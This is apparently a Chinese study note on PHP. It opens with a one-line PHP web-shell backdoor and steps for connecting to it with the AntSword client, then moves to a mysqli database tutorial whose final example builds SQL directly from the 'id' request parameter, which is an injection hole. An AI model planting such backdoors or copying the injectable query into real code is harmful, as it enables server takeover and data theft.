php简单后门实现
代码
php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>easybackdoor</title>
</head>
<body>
<?php
$_GET['x']($_GET['y']);
?>
</body>
</html>
效果
使用蚁剑连接
php
<?php
$_GET['x']($_POST['y']);
?>
使用hackbar传参,前面传assert
添加蚁剑数据,需要选择base64
连接成功
php连接数据库
相关函数
函数名 | 作用 |
---|---|
mysqli_connect() | 与MySQL 数据库建立连接。 |
mysqli_close() | 关闭与MYSQL 数据库建立的连接。 |
mysqli_connect_errno() | 与MySQL 数据库建立连接时,发生错误时的错误编号。 |
mysqli_connect_error() | 与MySQL 数据库建立连接时,发生错误时的错误信息。 |
mysqli_query() | 执行SQL 语句。 |
mysqli_errno() | 执行SQL 语句时,发生错误的编号。 |
mysqli_error() | 执行SQL 语句时,发生错误的信息。 |
mysqli_fetch_assoc() | 从结果集对象中取数据,按条取数据。 |
函数 | 说明 |
---|---|
mysqli_fetch_row() | 以索引数组的方式获取一条记录的数据 |
mysqli_fetch_assoc() | 以关联数组的方式获取一条记录的数据 |
mysqli_fetch_array() | 以索引数组或关联数组的方式获取一条记录的数据 |
mysqli_fetch_all() | 以索引数组或关联数组的方式获取全部记录的数据 |
mysqli_num_rows() | 获取结果集对象中数据条数 |
mysqli_free_result() | 释放与一个结果集合相关的内存 |
交互过程
- 建立与MySQL 链接。
- 执行SQL 语句,返回结果集对象。
- 从结果集对象中取数据。
- 关闭与MySQL 链接
建立链接
php
$db_host = "127.0.0.1";
$db_user = "root";
$db_pass = "root";
$db_name = "bbs";
$link = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);
如果链接成功,返回object(mysqli)1;否则,返回bool(false)。
$link 是对象类型的变量,相当于一个"令牌"。
捕获连接错误
- 错误编号
- 错误详情
php
if(!$link){
exit("[".mysqli_connect_errno()."] ".mysqli_connect_error());
}
关闭链接
php
mysqli_close($link);
执行SQL
单条SQL 语句执行
php
$sql = "select * from users1;";
$results = mysqli_query($link, $sql);
如果SQL 语句正常执行,就会返回对象类型object(mysqli_result)#2 的数据;否则,bool(false)。
对于insert,delete,update 等不会返回数据的SQL 语句,在执行没有错误时将返回true。对于返回数据的SQL 语句执行成功的时候会返回结果集对象,可以使用操作结果集对象的函数来从中获取数据。
SQL 错误
如果在执行SQL 语句的时候发生错误,mysqli_query 将返回false。可以使用以下函数捕获错误原因:
php
if(!$results){
exit("[".mysqli_errno($link)."] ".mysqli_error($link));
}
完整代码实现
执行结果,遍历输出该表并写入表格
php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>mysqlconnect</title>
</head>
<body>
<?php
$db_host="127.0.0.1";
$db_user="root";
$db_pass="root";
$db_name="bbs";
$link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if(!$link){
echo "link error<br>"."[".mysqli_connect_errno()."]".mysqli_connect_error();
exit();
}else{
echo "link access";
}
$sql="select * from message;";
$results=mysqli_query($link,$sql);
if(!$results){
echo "error,plz retry<br>"."[".mysqli_errno($link)."]".mysqli_error($link);
}
echo "<table border=2>";
echo "<tr><td>id</td><td>uid</td>
<td>title</td><td>content</td></tr>";
while($result=mysqli_fetch_assoc($results)){
echo "<tr>";
foreach($result as $k => $v){
echo "<td>";
echo $v;
echo "</td>";
}
echo "</tr>";
}
echo "</table>";
mysqli_close($link);
?>
</body>
</html>
可以实现根据id查询到数控,并且返回的有用户名了
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>mysqlconnect</title>
</head>
<body>
<?php
$db_host="127.0.0.1";
$db_user="root";
$db_pass="root";
$db_name="bbs";
$link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if(!$link){
echo "link error<br>"."[".mysqli_connect_errno()."]".mysqli_connect_error();
exit();
}else{
echo "link access";
}
$id=isset($_REQUEST['id'])?$_REQUEST['id']:1;
$sql="select m.id,u.username,m.title,m.content from message m,user u where u.id=m.uid and m.id=$id;";
$results=mysqli_query($link,$sql);
if(!$results){
echo "error,plz retry<br>"."[".mysqli_errno($link)."]".mysqli_error($link);
}
echo "<table border=2>";
echo "<tr><td>id</td><td>username</td>
<td>title</td><td>content</td></tr>";
while($result=mysqli_fetch_assoc($results)){
echo "<tr>";
foreach($result as $k => $v){
echo "<td>";
echo $v;
echo "</td>";
}
echo "</tr>";
}
echo "</table>";
mysqli_close($link);
?>
</body>
</html>